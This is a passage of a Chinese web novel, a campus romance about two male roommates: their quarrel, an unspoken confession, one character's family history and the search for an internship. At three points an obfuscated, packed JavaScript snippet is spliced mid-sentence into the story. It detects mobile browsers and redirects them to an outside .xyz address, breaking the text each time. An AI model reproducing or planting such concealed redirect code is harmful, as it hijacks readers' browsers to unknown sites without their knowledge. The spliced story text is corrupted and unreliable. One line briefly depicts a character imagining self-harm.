他不会在未来某一天躺在浴缸里想着顾琢成的脸切开自己的手腕吧…… 耳朵里冰冰凉凉的,杨嘉树抬手一摸,才知道是自己无意识流出的眼泪全淌进耳朵里了。他无声地叹了口气,把眼泪擦干,然后静静望着天花板发呆。 不知过了多久,顾琢成回来了,宿舍里很安静,赵靖戴了个耳机在看电影,杨嘉树……顾琢成往斜上方一看,杨嘉树躺在自己床上,睡着了。 他站在原地犹豫了会儿,把手里的草莓冰淇淋递给赵靖:“给你带的,趁热吃。” “咦,谢谢啊!”赵靖受宠若惊,正好最近升温,躁得慌,吃根冰棍儿缓缓…… 这两人冷战,把2608的氛围搞得也很奇怪,没吵架之前,杨嘉树和顾琢成的东西都是混着用的,你用我的洗发水,我用你的沐浴露,今天我借你的耳机,明天你借我的充电器……导致宿舍里经常出现这一幕: 顾琢成要去刷鞋,发现自己的刷鞋粉不见了,于是问赵靖:“你看见我的刷鞋粉了吗?” 赵靖说:“我咋知道,我不刷鞋,没用过。” 顾琢成说:“你帮我问问那谁。” 赵靖翻了个白眼,问近在咫尺的杨嘉树:“你看见顾琢成的刷鞋粉了吗?” 杨嘉树站起来,在门口的储物架上翻了翻,翻出一个小盒子,递给赵靖:“给你。” 赵靖又把它递给顾琢成:“是这个吗?” 顾琢成点头:“谢谢。” 又比如,杨嘉树发现自己装资料的U盘不见了,其实他已经想起来是上周借给顾琢成了,又不想跟顾琢成说话,于是故意在宿舍大声说:“你们谁看见我的U盘了?” 赵靖和何永平异口同声地说:“没看见!” 杨嘉树目不斜视地走到赵靖跟前,戳了戳他的肩膀:“喂。” 赵靖正在打游戏,头都没回:“干嘛。” 杨嘉树:“你问问那谁,我的U盘是不是在他那里。” 赵靖猛地一拍鼠标,大声说:“顾琢成,杨嘉树问你他的U盘是不是在你那里!” 顾琢成打开自己的抽屉,找到U盘,把它递给赵靖:“给。” 赵靖把U盘转交给杨嘉树:“是这个吗?” 杨嘉树接过来,说:“谢谢。” 以上操作重复十几次后,赵靖终于受不了了,找到杨嘉树说:“我拜托你们能不能别再折磨我了?你们的甜蜜我不曾参与,现在的痛苦却要跟我分享,问过我的意见吗??” 杨嘉树心情不好,闷闷不乐地说:“那你去跟顾琢成说去啊,跟我说有什么用。” “怎么没用?”赵靖哼了一声,“你去低头跟他认个错不就好了,都是兄弟,干嘛要这么较真。” “凭什么是我跟他认错?”杨嘉树很不服气,大声说,“是他先拿我当空气的!你不知道,他早上出门还对我翻白眼呢,好像我是什么很讨厌的人一样!凭什么不是他跟我认错!” “你差不多得了。”赵靖觉得他不可理喻,“这事跟他有关系吗?人家妹子喜欢他又不是他的错,你拿他撒气干嘛?你要真喜欢人家就去追啊——你不会是觉得自己比不过顾琢成,自卑了吧。” “你才自卑!”杨嘉树气得脸都红了,不过比起赵靖说他比不过顾琢成,他更在意的是—— “这件事,你是怎么知道的?” “什么事?”赵靖哼哼,“你暗恋你们班班花的事,还是你们班班花暗恋顾琢成的事?” “我才不——”暗恋她!杨嘉树一口气堵在胸口,差点没当场晕过去,“这个小人!竟然把我的隐私到处传播!” “诶诶,你说话可要讲证据的,顾琢成他只跟我一个人说过……” “??”杨嘉树大吃一惊,“你们俩什么时候关系这么好了?” “嘻嘻,你俩决裂,我当然趁机插足啊。”赵靖摸着下巴,笑得十分□□,“你还别说,顾琢成真温柔,他聊天的时候还会发各种可爱的表情包呢,没想到学霸私底下是这个样子……” “咔嚓”一声,杨嘉树似乎听到自己的心碎掉的声音,“那些都是我发给他的!” “咦,怪不得我说怎么这么眼熟——下次别发了,男人还是不要装可爱的好。” 真的很欠揍。杨嘉树把赵靖摁在墙角,狠狠揍了一顿。 赵靖不理他了。 现在可好,一个宿舍两个人要跟他绝交,剩下一个还本来就是“敌人”——杨嘉树感觉自己被孤立了。 这种感觉要多难受有多难受,尤其是早上出门上课,赵靖当着杨嘉树的面亲亲热热地挽着顾琢成的手臂,掐着嗓子眼儿说:“琢成,一起去吃早饭吧?现在时间还早,我请你吃大肉包子配豆花,你吃咸豆花还是甜豆花?咸的?哎呀咱俩口味一样,真有缘分!”走之前还翻了杨嘉树一个大大的白眼。 杨嘉树肺都快气炸了,半路上实在忍不住,发微信骂赵靖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495755|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你真贱。一个往下竖的大拇指/。” 赵靖什么都没说,发了一张图片过来—— 两碗靠在一起的咸豆花。还加了粉红脸颊的滤镜。 “……”狗男男!杨嘉树眼睛都红了,愤而把赵靖拉进黑名单。 上课的时候,杨嘉树心不在焉,满脑子都是顾琢成。他心想顾琢成可真绝情,竟然整整十天没搭理他,甚至连正眼都不给他一个。有必要这样吗,不就是没回他的微信……三条吗。还是五条……杨嘉树翻开聊天记录,不数还好,一数吓一跳,二十多条消息,顾琢成竟然给他发了整整二十多条消息!杨嘉树越看越心虚,当时他只顾着自己难受了,丝毫没有顾及顾琢成的想法……他垂着头,犹犹豫豫地给顾琢成发了一条消息: “豆花好吃吗?” ——万幸,没有出现红色感叹号。 很快,顾琢成回复道:“好吃。” 杨嘉树感觉嘴巴里有点酸,不是滋味地说:“我也想吃。” 顾琢成说:“我给你带一碗?不过可能得明天了,豆花只有早上才有。” ——什么意思啊。没有生气了吗。脾气可真好。杨嘉树感觉自己被顾琢成的大气衬得特别小气,顿时面子上有点过不去,他扭捏着没回消息,过了一会儿,快下课的时候才说:“谢谢啊。你上午几节课?” “满课。” “哦。”只回一个字是不是太敷衍了?杨嘉树磨磨蹭蹭地又打,“中午去食堂吃吗。” “好啊。” 很神奇的,两人就这么和好了。 中午饭是杨嘉树请的,麻辣香锅至尊豪华套餐,刚见面的时候还有点尴尬,杨嘉树坐在椅子上,默默等顾琢成拿餐具过来。吃饭的时候也不说话,杨嘉树几次想开口,发现顾琢成低着头一个劲地回微信消息,看也不看他一眼。谁啊?他心里有点酸,赵靖?就这样取代他的位置了吗。 “……你在跟谁聊天?”终于,他忍不住说。 顾琢成抬起头:“辅导员。” “……哦。” 又沉默了一会儿。杨嘉树说:“你有没有感觉今天的麻辣香锅很辣?” 顾琢成说:“没有啊,有点麻。” 话音刚落,杨嘉树不小心咬到一粒花椒,麻得他整张脸都扭曲了,“呸呸呸”地把咬碎的花椒粒吐到水杯里:“确实好麻!” 顾琢成看着杨嘉树皱在一起的脸,“噗”地一声笑了,“怎么这么不小心,喝点水吧。”他把自己的水杯推给他。 杨嘉树端起水杯,咕嘟咕嘟把剩下的水都喝了,“谢谢。”现在没有那么麻了,他站起来,“我再去给你倒一杯。” “不用了。”顾琢成说,开始拿起纸巾擦嘴巴,“你吃好了吗。” “好了。” “那走吧。” 下午两人都没课,不紧不慢往宿舍走。 半路上,杨嘉树觉得有必要为自己这些天的态度跟顾琢成道歉,毕竟——是他不理人在先。可是,刚开了个头顾琢成就说:“不用说了,我都懂。” “??”杨嘉树满脑袋的问号,“你懂什么?” 这要怎么说——其实,顾琢成私下去找邝晶晶聊过,还闹了个乌龙。 21. 第 21 章 邝晶晶——就是杨嘉树喜欢的那个女孩子。 顾琢成约邝晶晶在咖啡店见面,邝晶晶穿得特别漂亮就出现了——一袭米色的碎花棉布长裙,白色板鞋,脸上化了很精致的妆,清纯又不失俏皮。就是,个子有点高了,要是穿高跟鞋跟杨嘉树站在一起,还不得把杨嘉树衬成一个矮子? 邝晶晶坐下,顾琢成正打算直入主题跟她好好聊一聊,邝晶晶忽然说:“顾琢成,我有一个问题得先问问你,你跟你女朋友分手了吗?” 顾琢成当时就愣住了:“什么女朋友?” 邝晶晶说:“不是杨嘉树说你有女朋友的吗,还说你女朋友心眼特小,不让你跟别的女生说话。” “……”顾琢成反应过来,不禁有点好笑,杨嘉树就这么怕自己喜欢的女孩子被人抢走啊,居然临时给他编了一个女朋友出来……行吧,为兄弟做这点牺牲还是值得的。他点头,承认了这件事,“我是有女朋友,谈了挺久的。” 邝晶晶的脸色顿时有点不太好看,“有女朋友你还约我出来。” “……”顾琢成这才知道她误会了,连忙解释自己约她出来的目的。这事其实不太好说,毕竟是杨嘉树喜欢人家,又不是他喜欢人家。可是顾琢成着实有点被杨嘉树搞得没主意了,心想这样下去也不是办法,事情是他引起的,不如就由他去解决——顾琢成也没说得特别明白,就婉拒了邝晶晶,然后委婉地问她:“你觉得杨嘉树怎么样。” 邝晶晶想了想,说:“挺不错的啊,脾气好性格好,长得也还行。” 顾琢成心想,有戏!决定单刀直入:“那他要跟你谈恋爱呢。” “啊?”邝晶晶吓了一跳,刚喝进嘴里的咖啡都要喷出来了,“他?跟我谈恋爱?” “对。”顾琢成说,特别期待地盯着她看。 “不行。”邝晶晶忙不迭摇头,“我不喜欢他那款,我喜欢你这款!” 顾琢成虚心求教:“他那款是哪款?” “就,韩系帅哥,或者日系帅哥吧!” “那我呢。” “你……”邝晶晶看着顾琢成,现在知道他有女朋友,倒也死了这条心了,她可没兴趣去抢人家的男朋友,就是今天的妆白化了,唉,她喝了口咖啡,面带惋惜地说,“你是酷哥吧。” “哦。”那确实差别挺大的。顾琢成的眉头皱起来,听邝晶晶的意思,好像完全对杨嘉树不来电,怎么办……杨嘉树知道还不得哭死。 “为什么问我这个问题?”邝晶晶歪着头,感到非常奇怪。 “……”顾琢成喝了口咖啡,目光有点闪躲,“我这不是想介绍你们俩认识一下嘛,其实杨嘉树很好,善良,仗义,对朋友很大方,相信他对女朋友也不会差的。” 奇了怪了,邝晶晶心想,我跟杨嘉树是同学,还用得着别人在中间介绍?她看着顾琢成一本正经介绍杨嘉树优点的样子,忽然间福至心灵,脱口而出道:“是不是杨嘉树喜欢我,不好意思自己跟我说,让你来说啊?” “咳咳。”顾琢成没有说话,算是默认了。 “那他胆子也太小了。”邝晶晶嘟囔着。 就是在这时,顾琢成忽然后悔了,杨嘉树脸皮这么薄,要是知道别人代替他向自己喜欢的女生表白,还被女生说胆子小,那他还不得羞愤而死?完了,我不会好心办坏事了吧。现在顾琢成也有点骑虎难下,事情都到了这个地步,还能怎么办—— 凉拌呗! ——知道事情经过后的杨嘉树犹如被雷劈中,整个人都焦了:“顾琢成,你是不是疯了?” 顾琢成自知理亏,声音都比杨嘉树小了一截:“谁让你不理我的,我这不是没办法吗。” “那你也不能去找她——”杨嘉树太阳穴的位置猛地一疼,像被人拿大号针筒狠狠扎了一下似的,然后他开始感觉到眩晕,世界在以他为中心旋转,“她还说什么了?” “没什么……” ——其实,还是有的。顾琢成有点犹豫,不知该不该说。 杨嘉树深吸一口气,觉得自己现在什么样的状况都可以面对:“你说吧,我可以承受。” 得到同意,顾琢成说:“你是不是从开学就喜欢她了?” “??”杨嘉树头更晕了,“谁说的?” ——邝晶晶说的。她自己坐在那里思索了一会儿,然后告诉顾琢成:“怪不得,我老是觉得后脑勺有道视线在追随着我,从军训的时候就这么觉得了。然后杨嘉树还老喜欢给我拍写真,让我穿漂亮的小裙子、旗袍什么的,噢对了,他还拿我的照片做过屏保!我当时就觉得不对劲,问他,他说是欣赏自己的摄影作品……哎呀,你说他喜欢我干嘛不早跟我说!” 顾琢成心中破灭的希望又再度燃起:“你会考虑跟他在一起?” “那倒没有。”邝晶晶果断摇头,“早说他就早死心了呀!” “………………”杨嘉树觉得自己现在不仅心死了,人也差不多快死了。 顾琢成看着他面如死灰的脸,拍拍他的肩膀,安慰道:“没关系,不要失去希望。其实她说得对,早点死心也好,漂亮的风景到处都是,人也一样。” 见杨嘉树不说话,他又说:“要不然我给你介绍一个?” 杨嘉树深吸一口气,冷冷地说:“用不着,谢了。”说完,他掉头就走。 顾琢成怔在原地,这是——又怎么了? 杨嘉树闷头走了一段路,感觉心口像堵着一团棉花——又闷又疼。 一切都是他自作自受。是他自作主张喜欢人家,又不敢表白的,还自私地破坏人家的桃花,对一个漂亮的女孩子恶语相向……杨嘉树打从心底鄙视、瞧不起自己,假如此刻有道地缝,他一定毫不犹豫钻进去—— 地缝没有,可是有一块不平坦的地砖,杨嘉树绊了一下,差点原地摔倒。他头晕眼花,有呕吐的冲动,与此同时,心里有一道声音在大声地说: “胆小鬼!卑鄙!活该!” “他该讨厌死你了!” 杨嘉树的眼前一片模糊,想起之前在教室里摇出的数字——那是命运给他的选择。 大胆一点吧!大不了不做朋友,失去他这一个,你还可以有更好的! 杨嘉树站在原地大口大口地喘气,忽然间,恶向胆边生,他回头,大步流星地朝顾琢成走去。 顾琢成就在原地,没动。 杨嘉树走近,恶狠狠地看着顾琢成,说:“我根本就不喜欢邝晶晶!我喜欢——” 我喜欢你! 杨嘉树的脑海里回荡着这四个字,震耳欲聋。 快说啊!我喜欢你! 说完你的痛苦就都终结了!你只会痛苦一阵子然后又是那个没心没肺、笑笑哈哈的杨嘉树! 说啊! 杨嘉树憋红了脸,一个字都说不出来。 顾琢成面色古怪地看着他,等待着他的下文。 “我——”杨嘉树捏紧拳头,感觉自己此刻正踮着脚尖,又或者是脚跟点地,他觉得一定是出窍的灵魂拽着他的□□、企图飞往天际。我喜欢你——多简单的四个字,说完它连一秒钟都不需要,可是……可是,这根本就不是时间问题啊! 杨嘉树觉得它像一座大山一样藏在自己口腔里,嘴巴就那么小,出不来的—— “我喜欢你”,是绝对、绝对不可能说出来的。 杨嘉树像泄了气的皮球一样,垂着头,怏怏地说:“是的,我不喜欢他。” 这一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495756|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杨嘉树替自己感到悲哀。 从小到大,他最擅长的事就是口是心非,把喜欢的东西说成不喜欢,把不喜欢的东西说成喜欢,这个毛病就像病毒一样存在他的身体里——那么,是什么时候被植入的? 大概就是从那时起—— 杨嘉树发现自己不是妈妈亲生的时候开始。 那时候他才多大,让这个秘密吓得连做了好几晚的噩梦。那些梦像怪兽一样啃噬他幼小的大脑,也许就是从那时起,病毒趁虚而入、潜进杨嘉树的身体。 那时候他家还不富有,妈妈怀孕,他上小学,全家只有爸爸一个人在挣钱,那种压力像座无形的大山一样,压在这个小而拥挤的家中。 杨嘉树开始看所有人的脸色,并且学会通过让自己“听话”来讨取爸爸妈妈的欢心。比方说,他很喜欢吃草莓,这是一种很昂贵的水果,以前章芝仪为了哄杨嘉树,会买那种便宜的、酸多过甜的本地草莓,一点也不好吃,杨嘉树吃到不喜欢的就会和章芝仪闹,让章芝仪给他买贵的大草莓,章芝仪每次都会妥协,说杨嘉树:“你什么时候才能听话点呢。” 后来杨嘉树真的听话了,桌上并排放着大草莓和苹果,杨嘉树会主动把草莓拿给妈妈,自己吃苹果,只为了得到章芝仪的一句夸赞:“哇,嘉树什么时候这么懂事了!” 这时候他的心里就会非常甜,盖过嘴巴里苹果的苦。 看见爸爸很累,一回家就瘫倒在沙发上,杨嘉树也会默不作声地坐过去,给爸爸捏腿、捶背,说上一句:“爸,你辛苦了。” 他是如此小心翼翼,在这个家里寻求自己的一席之地。 杨嘉苗出生时,杨嘉树也哭了,他哭,不是跟爸爸妈妈一样,因为一个新生命的降生,而是因为害怕、不安、乃至憎恶……是的,他讨厌杨嘉苗,讨厌他出现在这个世界上,跟自己抢爸爸妈妈,他甚至想要在妈妈的病床前撒泼打滚,让他们把这个丑陋的小东西丢掉,有多远丢多远—— 可是当老杨把皱皱巴巴的杨嘉苗捧到杨嘉树面前时,杨嘉树却还是露出了天使般的笑容,像一个大人那样虚伪地说:“哇,弟弟好可爱,我好喜欢弟弟。” 因为杨嘉苗,杨嘉树不得不逼迫自己变得更加优秀,起码……要比杨嘉苗优秀,比杨嘉苗乖巧。他们家是在杨嘉苗出生后没多久后富起来的,老杨拿出自己全部的积蓄、又借了一点钱把快倒闭的玩具厂买了过来,说来也巧,也许是天降福气,最后一批积压的大货被一家外国公司买走,老杨有了钱,开始做起外贸。生意不错,钱滚钱,利滚利,玩具厂像一只雄鹰一样,展翅飞了起来。 杨嘉苗没吃过什么苦,是被一家人宠溺着长大的,所以他骄纵、任性,有时候还很讨厌。跟杨嘉苗比起来,杨嘉树就乖巧多了,在所有人心中,他是一个稳重的哥哥,甚至在某些情况下可以做一个家的主。爸爸看重他,妈妈信任他,弟弟依赖他……只有杨嘉树自己知道,维持这样一个形象有多么辛苦。 杨嘉树其实没那么聪明,学习对他来说是一件非常吃力的事情,能考上一所好大学,没有天赋,全靠努力。如果他有选择的余地,那么他一定不会让自己活得这么辛苦,他要和杨嘉苗一样,做一个不学无术、混吃等死、完全堕落的富二代……可惜他没有,他穿了一件精致的皮囊在身上,其实内心早已被嫉妒、愤恨、压抑、悲伤等一系列负面情绪填满。 ——这就是真实的杨嘉树,因为恐惧失去,所以会假装不在意,然后为了掩饰自己的在意,去做和自己真实心愿完全相反的事。 很讨厌吧? 杨嘉树也讨厌这样的自己,他讨厌自己的心这一刻达到顶峰。 “我不喜欢他。”他又一次重复,眼圈通红、呼吸急促。 22. 第 22 章 ——然而在顾琢成看来,杨嘉树完全是被自己喜欢的女孩拒绝之后的悲伤欲绝、道心破碎。瞧瞧,他一向红润的小脸在此刻变得苍白,一双颇有神采的眼睛也变得无精打采、泫然欲泣,顾琢成没有谈过恋爱,不知道被喜欢两年的人拒绝是什么感受……不过,跟被好兄弟单方面讨厌的感觉应该也差不多,他可没忘记这几天被杨嘉树冷暴力是什么感受。出于安慰,也处于同情,顾琢成说:“我懂你——晚上去喝酒吗?” 俗话说一醉解千愁,醉一场,心中愁绪可能就会消散一点。 杨嘉树抬起头,看着顾琢成在此刻显得分外天真的脸:“你懂什么?” 顾琢成沉重地说:“我都懂。你……振作起来,一切都会过去的。” 杨嘉树竟然笑了出来——是的,这种时候他竟然还笑得出来。其实,本来就挺好笑的,如果不是他一时鬼迷心窍,跟邝晶晶说顾琢成有女朋友,然后又跟顾琢成说自己喜欢邝晶晶,这一切还会发生吗?所以都是他自作自受。他自嘲一笑,笑容里充满了苦涩:“是啊,不就是失恋吗,会好起来的。” “没错。你下午要干什么?打游戏吗。” 杨嘉树顿了顿,撑起一个勉强的笑:“好啊。” 那句没说口的表白,就这样沉在了杨嘉树的心底。 经过这次事件之后,杨嘉树变得平和许多——其实更准确地说,应该是他变得更会伪装了,装作和顾琢成成为真正的好兄弟。大二暑假,顾琢成去了加州大学伯克利分校交流,那里和中国隔着十几个小时的时差,杨嘉树起床时,顾琢成正好在吃晚饭,杨嘉树好奇世界名校的食堂是什么样子,顾琢成就给他打视频电话,带他从头到尾参观了一遍,杨嘉树看完,说:“也没什么特别的嘛,还不如我们学校食堂呢。” “确实。”顾琢成点头,“怀念我们食堂的麻辣香锅了。” “那……你还要出国留学吗?”这是有天两人聊天时无意间提到的,原来顾琢成早就开始为未来打算了,他想考研,老早就开始挑学校,国内的他有点看不上,想申请国外排名比较靠前的学校。 “现在不想了。”顾琢成摇摇头,“没意思,还是留在国内好。” 杨嘉树刚刚还紧揪的心一下子就松了开来:“那你还要考研吗?”考的话……是不是他也该提前准备了呢。 “不。”顾琢成说,“你不觉得读书特别无聊吗?” “嗯嗯。”杨嘉树拼命摇头,“我也觉得,那你以后要留在北京发展吗?” “大概会。” “哦。”杨嘉树便也开始琢磨,虽然北京的天气他到现在都还适应不了,可是首都机会多,选择面也广,留在这里未尝不是一件好事。 “你呢?” “我?”杨嘉树愣了一会儿,装作从来没有想过这回事,“我可能会回家继承我爸的玩具公司。” “叫你爸把公司开到北京来。”顾琢成开玩笑说,“我也去给令尊打工。” “你确定?”杨嘉树拖长声音,说,“我爸的公司就是我的公司,你想以后给我打工吗?” “当然可以。”顾琢成说,“老板,你要给我开多少工资?” ……在国外也没耽误他俩交流感情,顾琢成见缝插针地回复杨嘉树的消息,还会在出去玩的时候给杨嘉树发些照片视频,杨嘉树看完,对加州……乃至美国一点向往也没有了,拍的什么呀,不如北京老胡同! 大三开学,杨嘉树和顾琢成变得非常忙碌,准确来说,是整个2608都非常忙碌,杨嘉树的专业课多了很多,几乎比大二多了三分之一,课表一眼看去密密麻麻,几乎没有喘息的空间。杨嘉树自认是个学渣,上课走神,下课狂补笔记,要背的课文最熟的永远是前三句,论文拖到要上交的前一晚,肝到凌晨六七点然后洗把脸直接去教室。大二这样或许还可以,但大三再这样下去杨嘉树担心自己可能真的会挂科……于是他不得不把所有精力都放在学习上。 与此同时,像所有步入大三的同学一样,他开始陷入对未来的迷茫、焦虑之中。中文专业不好就业,这是事实,所以很多同学都会选择考研、考公、考编……可这些杨嘉树一个都不感兴趣。 “我真的好讨厌、好讨厌考试啊。”杨嘉树瘫坐在椅子上,双目无神地道。 “这不是还没到期末吗。”寝室里四个人都在,赵靖最先接他的茬。 “随堂考试。”杨嘉树心碎地说,“我的试卷被当成反面教材在全班同学面前展示,老师说再给我一次机会,下次考试再胡乱答就要扣分了……可是我明明答得很认真啊。” 顾琢成说:“是你自己认为自己答得很认真吧。” 杨嘉树被噎了一下:“这么说也可以。可能老师见我态度不错才没扣我的分。” “你最近好像作业很多?一回宿舍就写作业。” “嗯。”杨嘉树叹了口气,打开word继续写没写完的报告,“说多都是泪,我觉得我可能连毕业都困难……”他真的觉得很沮丧,有种浓浓的无力感,“大家都忙着考研、考公、考编,只有我还在担心能不能毕业、毕了业能不能找到工作……怎么办呀,我好迷茫。” “迷茫+1。”赵靖转了一圈椅子,长长地叹了口气,“我好像选太多课了,上不完,根本上不完,现在后悔还有用吗……” 杨嘉树推着椅子滑到顾琢成旁边,小声地问他:“饿吗?出去吃宵夜?” 顾琢成关上电脑:“好啊。” 进入11月,秋风已经有了隆冬的气质,杨嘉树缩缩脖子,后悔没穿一件更厚的外套出来,顾琢成见状,把自己的衣服脱下来,跟杨嘉树交换:“你穿我的。” “……哦。”杨嘉树慢吞吞地脱下自己的外套,穿上顾琢成的皮夹克,真温暖,还带着顾琢成的体温。顾琢成……就有点滑稽了,牛仔外套太小,紧绷在身上,好像精神小伙……哦不,精神小伙都很瘦,竹竿一样,顾琢成是匀称的,体型很健美,穿着衣服看不太出来……杨嘉树摸摸鼻子,想到些什么,不好意思地低下头。 走路无聊,杨嘉树跟顾琢成聊天:“你想过自己的未来吗。” “你是指多远的未来?” “嗯……”杨嘉树想了想,“毕业之后?” “那我还没想。”顾琢成摇摇头,说,“最远只想到下学期。” “具体是什么打算呢。” “有个在上游当研发总监的学长推荐我去他们公司实习,我打算寒假去。” 杨嘉树惊讶地张大嘴巴:“上游?是那个很厉害的互联网公司吗?” “嗯。” “好厉害!”杨嘉树由衷地惊叹,然后想到自己,内心产生一种深深的恐惧:在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495757|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学他或许还会和顾琢成保持密切的联系,可一旦进入社会呢?两人专业不同,就业方向不同,圈子自然也就不同,他们会不会和大部分毕业后就各奔东西的同学一样,随着时间流逝,渐渐不再联系? “你呢,刚刚听到你说找工作……你不是要继承你爸的公司吗?” 杨嘉树摇摇头:“那是我开玩笑的,我对做生意不感兴趣。而且说实话,我爸的公司也不是什么特别大的公司,顶多在当地有点影响力而已,出了汕头就什么也不是了。” “那你想做什么?” 这句话把杨嘉树问住了。他想不出来,对于自己一片空白的未来,他的大脑也一片空白。沮丧地摇了摇头,杨嘉树说:“我不知道。我还是先努力毕业吧。” “那不行。”顾琢成不太赞同地说,“未来还是要早点规划的好,假如你还没想好,不如先去读个研,给自己一段时间的缓冲期,慢慢想自己未来要做什么。” “考研?”杨嘉树苦笑一声,“我肯定考不上的。” 顾琢成不以为然:“没试怎么知道不行。” “我都不用试。你知道吗,我从大二开始就有点听不懂老师在讲什么,我有没有跟你说过,其实当初我选汉语言文学这个专业就很后悔,因为我脑子笨,记东西很吃力……但想想我又没别的优点,考试也全都靠死记硬背,那就一路背到底好了……谁知道大学的课程不能光靠背,还要会理解,”杨嘉树低着头,手伸进顾琢成皮衣外套的兜里,心情之低落到了开学以来的顶峰,“那什么文学概论,语言学概论,古代汉语,汉语史……不行了,我现在想想就头晕,好想吐。” 顾琢成看着他,担忧地说:“你太焦虑了。” “也许吧。” 顾琢成给他出主意:“去实习看看呢?你们中文专业其实就业面也挺广的,报社、电视台、新媒体、出版社……或者你想当老师吗?” “不。”杨嘉树想也没想,拼命摇头,“我讨厌小孩子!不管多大,简直讨厌死了。” “……那你将来当爹了怎么办?” 杨嘉树犹豫了下,说:“我以后不会有自己的小孩。” “为什么?”顾琢成意外地看了他一眼,“丁克啊?” “……嗯。”杨嘉树说,又把头低下了。 过了会儿,他问顾琢成:“那你呢?” “我什么?” “你以后会有自己的小孩吗?”杨嘉树问,即使已经知道答案,心里还是会忐忑。 顾琢成挑了挑眉,很快地说:“当然了。”似乎杨嘉树问的是一句废话。 杨嘉树抬起头,一阵秋风吹过,吹得杨嘉树的身凉,心也凉,“那你想要儿子还是女儿?” “……”顾琢成觉得杨嘉树好夸张,“连个对象都没有,讨论这个是不是有些为时过早了。” “……也是。”杨嘉树笑了,有些自嘲。 这晚他们聊了很多,杨嘉树知道了顾琢成也并没有他想象的,对未来那么笃定。他也会感到迷茫,不过那丝线一样、近乎缥缈的忧愁跟杨嘉树的比起来,简直就是小巫见大巫、小鱼儿见龙王,那样不值一提。杨嘉树始终不明白自己想要什么,但他听从了顾琢成的意见,决定趁着寒暑假有空先去实习,假如不想继承家业,而是要发展自己的事业,那确实该从现在开始做准备了。 23. 第 23 章 临近放假的时候,杨嘉树意外得到一个实习机会。 那段时间他很忙,期末有五个论文要写,还要准备考试,恨不能分出十个分身应对繁忙的学业。寒假的实习并不是那么好找,杨嘉树先去找熟人打探了一下,个个都很惊讶,说什么:“杨嘉树,你为什么突然开始努力了?” “大少爷,干脆去自己家公司实习咯。” “哇杨嘉树你怎么也开卷了,陌生得令我惊讶!” 杨嘉树特别尴尬,都怪他以前太吊儿郎当了是吧……他在学校的人缘还算不错,因为长得好,性格好,很多人都愿意跟他交朋友,杨嘉树大一时加入的摄影协会就有几个关系不错的学长学姐,他们听说杨嘉树在找实习,很爽快地答应帮他留意。 杨嘉树没有抱太大期望。考试周,他忙得昏天黑地,通宵达旦地背书刷题,最夸张的时候一天只睡两个小时,顶着巨大的黑眼圈和眼袋去参加考试。 最后一门考完,杨嘉树哭了——真的,他回到宿舍,此时正是夕阳西下,一缕金光从阳台照进来,映在衣柜上张贴的课表上,他眼眶一酸,大滴大滴的眼泪就这么猝不及防地掉了下来。 顾琢成推门进来的时候吓了一跳,还以为杨嘉树怎么了,结果问半天,杨嘉树哭哭啼啼地说:“我以后上课一定好好听讲,再也不开小差了呜呜呜……” 顾琢成顿时哭笑不得:“这有什么好哭的……考得怎么样?” 杨嘉树说:“我自我感觉挺良好的,希望老师也这么觉得。”说完他就爬上床,不到一分钟的时间就睡死了。 醒来,寝室是黑的,杨嘉树差点不知今夕是何夕,摸过手机一看,晚上七点零八分,杨嘉树没急着爬起来,先查看未读消息,惊喜就是这时候来的—— 杨嘉树有个大四学姐,俩人关系不错,学姐说她有个同学国考上岸了,之前联系的实习不去了,问杨嘉树愿不愿意顶上,已经跟实习单位说过了,实习单位回复说要先审查下资格,学姐让杨嘉树赶紧准备简历和作品集,今天晚上就发给她。 杨嘉树慌慌张张的,问学姐:“什么作品集呀?” 学姐说:“文学作品集!这个是采编岗,对文字功底有一定要求,你找找以前高分的作业和论文什么的,哦对了,你会剪辑吗?把你之前的摄影作品也整理一下……” 杨嘉树爬下来,饭都没吃就开始写简历。弄完发给学姐,忐忑地等待回复。 半小时后,学姐说:“明天上午有空吗?去面试。” 杨嘉树愣了一下,这么快?他说:“有的。” 学姐把地址和联系人电话发给他,提醒他明天穿正式点。 一切结束后,杨嘉树犹在梦中,这就搞定实习了?噢不,也不算搞定,明天还有面试呢。他站起来,开心地在原地给自己比了个耶。 他立马把这个好消息跟顾琢成分享:“我找到实习了!”发的是语音,他的声音洋溢着雀跃和激动,“明天上午去面试,快祝我成功!” 顾琢成很快回复:“什么实习?祝你面试成功。” 杨嘉树说:“市广播电视台生活频道民生纪实栏目的采编实习生。” 顾琢成说:“好棒。鼓掌/。” 杨嘉树:“还没面试呢,我好紧张。” 顾琢成:“吃饭了吗?” 杨嘉树:“还没。” 顾琢成:“出来,我请你吃,庆祝一下。碰杯/。” 